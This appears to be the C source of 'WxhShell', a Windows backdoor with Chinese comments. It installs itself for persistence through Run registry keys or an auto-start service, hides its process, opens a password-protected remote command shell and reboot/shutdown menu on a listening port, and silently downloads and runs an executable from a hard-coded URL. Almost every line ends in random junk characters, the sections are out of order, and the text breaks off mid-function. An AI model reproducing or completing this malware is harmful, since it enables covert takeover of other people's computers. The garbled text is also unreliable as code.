DWORD BasePriority; W^;4t3eQf
ULONG UniqueProcessId; D~Q-:G$x
ULONG InheritedFromUniqueProcessId; ]haQ#e}WH
} PROCESS_BASIC_INFORMATION; %l%2 hvGZ
Crla~h?=
PROCNTQSIP NtQueryInformationProcess; va#].4_
xA*6Z)Y
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )T
slI
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yS?5&oMl
uXA}" f2
HANDLE hProcess; "r@G V5ED
PROCESS_BASIC_INFORMATION pbi; 7#N= GN
XVKRT7U
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j(pe6
if(NULL == hInst ) return 0; %82:?fq
0uGTc[^^M
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k
$# ,^)T
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :8v? 6Q
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @y
eAM7
),%@X
if (!NtQueryInformationProcess) return 0; }1a(*s,s-^
EyV5FWb58
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B'PS-Jr
if(!hProcess) return 0; #2*R0_b
vZqW,GDfXo
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )2jH&}K
r"VNq&v]9
CloseHandle(hProcess); fQw=z$
<)L[V
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *^Z -4
if(hProcess==NULL) return 0; U4iVI#f
XE;'K`%
HMODULE hMod; 6jov8GIAt
char procName[255]; {yxLL-5c
unsigned long cbNeeded; Iq{/-,v
=[TXH^.0
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9T2y2d!X
W yP] ]I.
CloseHandle(hProcess); ,s,AkH
!<h-2YF<M
if(strstr(procName,"services")) return 1; // 以服务启动 {s2eOL5I|%
D~2n8h"2ye
return 0; // 注册表启动 A#F6~QX(.9
} -(#`JT8
83)m#
// 主模块 R0GD9
int StartWxhshell(LPSTR lpCmdLine) BGstf4v>A<
{ |uJjO>8]|
SOCKET wsl; R0q|{5S
BOOL val=TRUE; _( QW2m?K
int port=0; T!1XL7
struct sockaddr_in door; |Fx~M,Pzg
~UwqQD1p
if(wscfg.ws_autoins) Install(); %^u
e
, LqfwA|
port=atoi(lpCmdLine); 9G[t
& r
8b25D|8l
if(port<=0) port=wscfg.ws_port; !]8QOn7 =
Zo Ra^o
WSADATA data; qMd4awB
R
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h~Z:YY)4
TH~"y
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <CS,v)4,nH
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); - G=doP0
door.sin_family = AF_INET; @Fb
2c0?Y
door.sin_addr.s_addr = inet_addr("127.0.0.1"); hdbm8C3
door.sin_port = htons(port); L~Xzo
Ye/Y<Ij
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Se!B,'C%
closesocket(wsl); [QwqP=-6
return 1; @3?dI@i(
} ERfSJ
)jw!,"_4
if(listen(wsl,2) == INVALID_SOCKET) { VH~ZDZ1P
closesocket(wsl); 6MQyr2c
return 1; O7f"8|=HX
} aBKJd
Wxhshell(wsl); <07~EP
WSACleanup(); h-%RSei5
ZP<OyX?
return 0; 8y]{I^z}
R`%O=S*]
} xv_Z$&9e>l
uAV-wc
// 以NT服务方式启动 D\z`+TyJ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xHlO~:Lc
{ + ;B K|([#
DWORD status = 0; [XD3}'Aa
DWORD specificError = 0xfffffff; z[]8"C=
w(q\75
serviceStatus.dwServiceType = SERVICE_WIN32; i(S}gH4*o
serviceStatus.dwCurrentState = SERVICE_START_PENDING; IG4`f~k^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; stq%Eg?
serviceStatus.dwWin32ExitCode = 0; Qt=OiKZ
serviceStatus.dwServiceSpecificExitCode = 0; PC& (1kJ
serviceStatus.dwCheckPoint = 0; fczH^+mI
serviceStatus.dwWaitHint = 0; }`_x%]EJ
-D
wO*f
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ne}x(uRn
if (hServiceStatusHandle==0) return; `m-7L
|p*s:*TJp
status = GetLastError(); ]KQBek#DD
if (status!=NO_ERROR) Gp1?drF6
{ v(Q-RR
serviceStatus.dwCurrentState = SERVICE_STOPPED; kp,$ NfD
serviceStatus.dwCheckPoint = 0; DhiIKd9W
serviceStatus.dwWaitHint = 0; 3moDu
serviceStatus.dwWin32ExitCode = status; B\quXE)
serviceStatus.dwServiceSpecificExitCode = specificError; <p#+('N`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4R9y~~+
return; W>E|Iv[o
} CD)JCv
#M[%JTTn
serviceStatus.dwCurrentState = SERVICE_RUNNING; R(#ZaFuo[
serviceStatus.dwCheckPoint = 0; N[sJ5oF
serviceStatus.dwWaitHint = 0; BB? 4>#D
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nZ#0L`@"Y
} +{s -F g
]=(PtzVa
// 处理NT服务事件,比如:启动、停止 "Pzh#rYY~W
VOID WINAPI NTServiceHandler(DWORD fdwControl) byX)4&
{ t:tIzFNv
switch(fdwControl) 2@|,VN V6~
{ "IRF^1 p
case SERVICE_CONTROL_STOP: dEPLkv
serviceStatus.dwWin32ExitCode = 0; C]ef
`5NR]
serviceStatus.dwCurrentState = SERVICE_STOPPED; J,t`ilT
serviceStatus.dwCheckPoint = 0; Dn+hI_"#_
serviceStatus.dwWaitHint = 0; {,e-;2q
{ M[7$F&&n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Jg&:(#}<J
} W]M Fq5.
return; 8l
>Xbz
case SERVICE_CONTROL_PAUSE: $[+)N~
serviceStatus.dwCurrentState = SERVICE_PAUSED; 4Xe8j55
break; G)&S%R!i\N
case SERVICE_CONTROL_CONTINUE: C\}M_MD
serviceStatus.dwCurrentState = SERVICE_RUNNING; yG,uD!N]|
break; oVIc^yk5a
case SERVICE_CONTROL_INTERROGATE: ?I;PJj
break; OF O,5
}; C{]1+eL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); O@`KGZEPY
} #F'8vf'r
)Qh*@=$-
// 标准应用程序主函数 xtzkgb,0[
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z(1`Iy
M
{ ) RNB;K~s9
_tpOVw4I
// 获取操作系统版本 [rReBgV
OsIsNt=GetOsVer(); OZQN&7
GetModuleFileName(NULL,ExeFile,MAX_PATH); N@V:nCl
__`6 W1
// 从命令行安装 G$;cA:p-j
if(strpbrk(lpCmdLine,"iI")) Install(); Qn)AS1pL+
^n*:zmD
// 下载执行文件 05o<fa 2HE
if(wscfg.ws_downexe) { cue aOtD
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \W7pSV-U
WinExec(wscfg.ws_filenam,SW_HIDE); M[ ON2P;
} 06[HE7
Y-~MkB
if(!OsIsNt) { UvuAN:'
// 如果时win9x,隐藏进程并且设置为注册表启动 k \\e`=
HideProc(); 'ji|'x T
StartWxhshell(lpCmdLine); _,3%)sn-)
} n2Ew0-
else )oy+-1dE
if(StartFromService()) ogJ *
// 以服务方式启动 %+ytX]E
StartServiceCtrlDispatcher(DispatchTable); 4mnVXKt%.
else 6_>(9&g`zV
// 普通方式启动
7MQxW<0
StartWxhshell(lpCmdLine); PCnu?e3F
r(JP&
@
return 0; r`Dm;@JU
} $J#Z`%B^y
6xx(o
A[uB)wWsn
ubMN
=========================================== SNSHX2
se*k56,
$Ww.^ym
\=Od1 i
uzIM?.H
K|=va>
" #X2wy$GTG
ahFK^ #s
#include <stdio.h> HQMug
#include <string.h> dtig_s,)D
#include <windows.h> K9+\Z
#include <winsock2.h> *bUOd'vh
#include <winsvc.h> ~cV";cD5
#include <urlmon.h> LuVL<W
Y++n0sK5<
#pragma comment (lib, "Ws2_32.lib") 8~3I^I_v
#pragma comment (lib, "urlmon.lib") YKzfI9Y
t :~,7
#define MAX_USER 100 // 最大客户端连接数 NdrR+t^#
#define BUF_SOCK 200 // sock buffer gH*(1*
#define KEY_BUFF 255 // 输入 buffer ^DVryeLD
rp|A88Q/!
#define REBOOT 0 // 重启 ,.0B0Y-X
#define SHUTDOWN 1 // 关机 h.kjJF
I=
a?z<
#define DEF_PORT 5000 // 监听端口 JF=T_SH^U
eKf5orN
#define REG_LEN 16 // 注册表键长度 I@TH^8(
#define SVC_LEN 80 // NT服务名长度 fNBI!=
@^GI :z
// 从dll定义API J0B*V0'zR
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uvJ&qd8M
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M*D@zb0ia
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uPE Ab2u="
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PcI~,e%
.9?GKD
// wxhshell配置信息 2#N?WlYw<S
struct WSCFG { + WT?p]
int ws_port; // 监听端口 9Ais)Wy%p
char ws_passstr[REG_LEN]; // 口令 *X^C+F
int ws_autoins; // 安装标记, 1=yes 0=no (p]S
char ws_regname[REG_LEN]; // 注册表键名 trB-(B%5
char ws_svcname[REG_LEN]; // 服务名 ,C|{_4
char ws_svcdisp[SVC_LEN]; // 服务显示名 \fp'=&tp~a
char ws_svcdesc[SVC_LEN]; // 服务描述信息 X*9-P9x(6
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5rmQ:8_5
int ws_downexe; // 下载执行标记, 1=yes 0=no EAy@kzY?
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )0g!lCfb
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g:@4/+TSt
5K-,k^T}
}; 5.D0 1?k
RxNLn/?d@
// default Wxhshell configuration gtT&97tT<
struct WSCFG wscfg={DEF_PORT, <{@ D^L6h
"xuhuanlingzhe", <$d2m6 J
1, v6Wz:|G/u
"Wxhshell", 1hzf+*g
"Wxhshell", Spin]V
"WxhShell Service", p<?lF
"Wrsky Windows CmdShell Service", y]+[o1]-c
"Please Input Your Password: ", \HG4i/V:h
1, l/"!}wF
"http://www.wrsky.com/wxhshell.exe", 6/ T/A+u
"Wxhshell.exe" Q)lD2
}; H328I}7
Ro4!y:2|
// 消息定义模块 )u4=k(
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 72_+ b
char *msg_ws_prompt="\n\r? for help\n\r#>"; |_QpB?b
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; '-Oh$hqCx|
char *msg_ws_ext="\n\rExit."; 4bL? V^@7
char *msg_ws_end="\n\rQuit."; 5.DmMG[T^=
char *msg_ws_boot="\n\rReboot..."; 'Yh`B8
char *msg_ws_poff="\n\rShutdown..."; \RRSrPLd-
char *msg_ws_down="\n\rSave to "; Qwve-[
0AF,} &$
char *msg_ws_err="\n\rErr!"; )>U"WZ'<
char *msg_ws_ok="\n\rOK!"; BPm")DMo
B-$zioZ
char ExeFile[MAX_PATH]; N9s.nu
int nUser = 0; xg 8R>j
HANDLE handles[MAX_USER]; XsDZ<j%x89
int OsIsNt; ]6s/y
%d40us8 E
SERVICE_STATUS serviceStatus; {d]B+'
SERVICE_STATUS_HANDLE hServiceStatusHandle; .o,-a >jL
7FD,TJs
// 函数声明 _HjB'XNr(
int Install(void); 9a_UxF+6/
int Uninstall(void); Nl/
fvJ`4
int DownloadFile(char *sURL, SOCKET wsh); 2(Yg',aMY-
int Boot(int flag); Fy!s$!\C0
void HideProc(void); >[wB|V5
int GetOsVer(void); 2X*n93AQi
int Wxhshell(SOCKET wsl); p$= 3$I
void TalkWithClient(void *cs); ;!lwB
int CmdShell(SOCKET sock); g{uiY|
int StartFromService(void); 1?3+>
int StartWxhshell(LPSTR lpCmdLine); 5w{U/v$Z
.Cs'@[Ciy
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jC$~m#F
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O1\25D
Da!vGr
// 数据结构和表定义 )OucJQ
SERVICE_TABLE_ENTRY DispatchTable[] = L{l}G,j<
{ v6| [p
{wscfg.ws_svcname, NTServiceMain}, <P&X0S`O
{NULL, NULL} ' V*}d
}; ?I:_FT
DMs8B&Y=
// 自我安装 rj4Mq:pJ
int Install(void) 6W3."};
{ i_+e&Bjd4j
char svExeFile[MAX_PATH]; `[XH=-p
HKEY key; 5dG+>7Iy}
strcpy(svExeFile,ExeFile); H 8 66,]
R/Sm
// 如果是win9x系统,修改注册表设为自启动 yB=R7E7
if(!OsIsNt) { gp~-n7'~O
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZtP/|P5@
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (2"4PU8
RegCloseKey(key); -]Mk}
z$
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rM6S%rS
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G&MO(r}B
RegCloseKey(key); h.Sbds
return 0; \IzZJGi
} +W8#] u|
} V~5vR`}
} -;RAW1]}Y$
else { u:J4Az^!
QJ>=a./
// 如果是NT以上系统,安装为系统服务 jGJf[:M&Pm
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l^o>7 cM
if (schSCManager!=0) W~i0.rg|>
{ +|K,\
{'U
SC_HANDLE schService = CreateService 5GPAt
( {l_D+B;
schSCManager, [xDIK8d:I
wscfg.ws_svcname, 7)Tix7:9S;
wscfg.ws_svcdisp, \,:7=
SERVICE_ALL_ACCESS, IBNb!mPu%
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y^kC2DS
SERVICE_AUTO_START, {4p7r7n'
SERVICE_ERROR_NORMAL, R iV]SgV9
svExeFile,
!y!s/i&P%
NULL, rEU1
VvE
NULL, 2!{_x8,n
NULL, akHQ&+[j
NULL, |c-`XC2g
NULL p!?7;
); ]x3 )OjH
if (schService!=0) tEibxE
{ =U:]x'g(
CloseServiceHandle(schService); xcJvXp
CloseServiceHandle(schSCManager); Esg:
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +l7Bu} _?
strcat(svExeFile,wscfg.ws_svcname); +s [_
4
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =umF C[.W
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TFhYu
RegCloseKey(key); (m.jC}J
return 0; D6e<1W
} e+@.n
} +ZBj_Vw*|
CloseServiceHandle(schSCManager); kaDn=
={YM
} F{}:e QD
} >4#\ U!
g)MLgjj
return 1; y>RqA*J
} o9v9
bL+X
C|QJQ@bj0
// 自我卸载 Ww{-(Ktx
int Uninstall(void) #KtV 4)(
{ #`"B
YFV[E
HKEY key; |:SXN4';?
EkN>5).
if(!OsIsNt) { E
6!V0D
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m :]F&s
RegDeleteValue(key,wscfg.ws_regname); D[Ld=e8t
RegCloseKey(key); D,uT#P
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \l 3M\$oS>
RegDeleteValue(key,wscfg.ws_regname); &0-Pl.M
RegCloseKey(key); ayA_[{j%X
return 0; HsK52<
} eA/}$.R
} m(WVxVB
} k_%maJkXp
else { q?&J